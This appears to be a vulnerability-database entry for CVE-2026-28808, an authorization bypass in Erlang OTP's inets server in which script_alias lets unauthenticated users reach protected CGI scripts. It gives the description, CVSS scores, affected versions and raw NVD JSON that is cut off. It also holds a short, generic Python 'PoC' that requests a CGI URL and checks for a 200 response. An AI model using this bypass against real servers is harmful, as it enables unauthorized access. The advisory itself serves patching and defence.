Security Vulnerability Report
中文
CVE-2026-28808 CVSS 9.8 CRITICAL

CVE-2026-28808

Published: 2026-04-07 13:16:46
Last Modified: 2026-04-23 17:39:59
Source: 6b3ad84c-e1a6-4bf7-a703-f496b71e49db

Description

Incorrect Authorization vulnerability in Erlang OTP (inets modules) allows unauthenticated access to CGI scripts protected by directory rules when served via script_alias. When script_alias maps a URL prefix to a directory outside DocumentRoot, mod_auth evaluates directory-based access controls against the DocumentRoot-relative path while mod_cgi executes the script at the ScriptAlias-resolved path. This path mismatch allows unauthenticated access to CGI scripts that directory rules were meant to protect. This vulnerability is associated with program files lib/inets/src/http_server/mod_alias.erl, lib/inets/src/http_server/mod_auth.erl, and lib/inets/src/http_server/mod_cgi.erl. This issue affects OTP from OTP 17.0 until OTP 28.4.2, 27.3.4.10 and 26.2.5.19 corresponding to inets from 5.10 until 9.6.2, 9.3.2.4 and 9.1.0.6.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:erlang:erlang\/inets:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:erlang:erlang\/inets:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:erlang:erlang\/inets:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:* - VULNERABLE
OTP 17.0 至 26.2.5.19
OTP 17.0 至 27.3.4.10
OTP 17.0 至 28.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 import requests def exploit_cve_2026_28808(target_url): """ PoC for CVE-2026-28808: Erlang OTP inets Authorization Bypass This script attempts to access a CGI script protected by directory rules via script_alias without authentication. """ headers = { "User-Agent": "CVE-2026-28808-Scanner" } try: print(f"[*] Attempting to access: {target_url}") response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Successfully accessed the CGI script without authentication!") print("[+] Response content:") print(response.text[:200]) # Print first 200 chars else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Example target: http://vulnerable-server/cgi-bin/protected/admin.cgi target = "http://127.0.0.1/cgi-bin/protected/script.cgi" exploit_cve_2026_28808(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28808", "sourceIdentifier": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "published": "2026-04-07T13:16:46.320", "lastModified": "2026-04-23T17:39:58.737", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Authorization vulnerability in Erlang OTP (inets modules) allows unauthenticated access to CGI scripts protected by directory rules when served via script_alias.\n\nWhen script_alias maps a URL prefix to a directory outside DocumentRoot, mod_auth evaluates directory-based access controls against the DocumentRoot-relative path while mod_cgi executes the script at the ScriptAlias-resolved path. This path mismatch allows unauthenticated access to CGI scripts that directory rules were meant to protect.\n\nThis vulnerability is associated with program files lib/inets/src/http_server/mod_alias.erl, lib/inets/src/http_server/mod_auth.erl, and lib/inets/src/http_server/mod_cgi.erl.\n\nThis issue affects OTP from OTP 17.0 until OTP 28.4.2, 27.3.4.10 and 26.2.5.19 corresponding to inets from 5.10 until 9.6.2, 9.3.2.4 and 9.1.0.6."}], "metrics": {"cvssMetricV40": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/inets:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.10", "versionEndExcluding": "9.1.0.6", "matchCriteriaId": "9A8568B7-8E4D-46D4-BC89-E90031B0E3A5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/inets:*:*:*:*:*:*:*:*", "versionStartExcluding": "9.2", "versionEndExcluding": "9.3.2.4", "matchCriteriaId": "ACE12B86-B0FA-4238-850C-60FD497A5DEE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/inets:*:*:*:*:*:*:*:*", "versionStartExcluding": "9.4", "versionEndExcluding": "9.6.2", "matchCriteriaId": "6826C53A-1EB6-4465-93EA-AC464AB322EE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.0", "versionEndExcluding": "26.2.5.19", "matchCriteriaId": "5E9FD459-CC4D-4592-ADB7-95ADFD4EE25B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*", "versionStartIncluding": "27.0", "versionEndExcluding": "27.3.4.10", "matchCriteriaId": "2771D519-4124-4D3F-A8E0-3E4704973B3E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*", "versionStartIncluding": "28.0", "versionEndExcluding": "28.4.2", "matchCriteriaId": "D2E111DA-579A-438F-A2FF-5799B01AF401"}]}]}], "references": [{"url": "https://cna.erlef.org/cves/CVE-2026-28808.html", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "tags": ["Vendor Advisory", "Mitigation"]}, {"url": "https://github.com/erlang/otp/commit/8fc71ac6af4fbcc54103bec2983ef22e82942688", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "tags": ["Patch"]}, {"url": "https://github.com/er ... (truncated)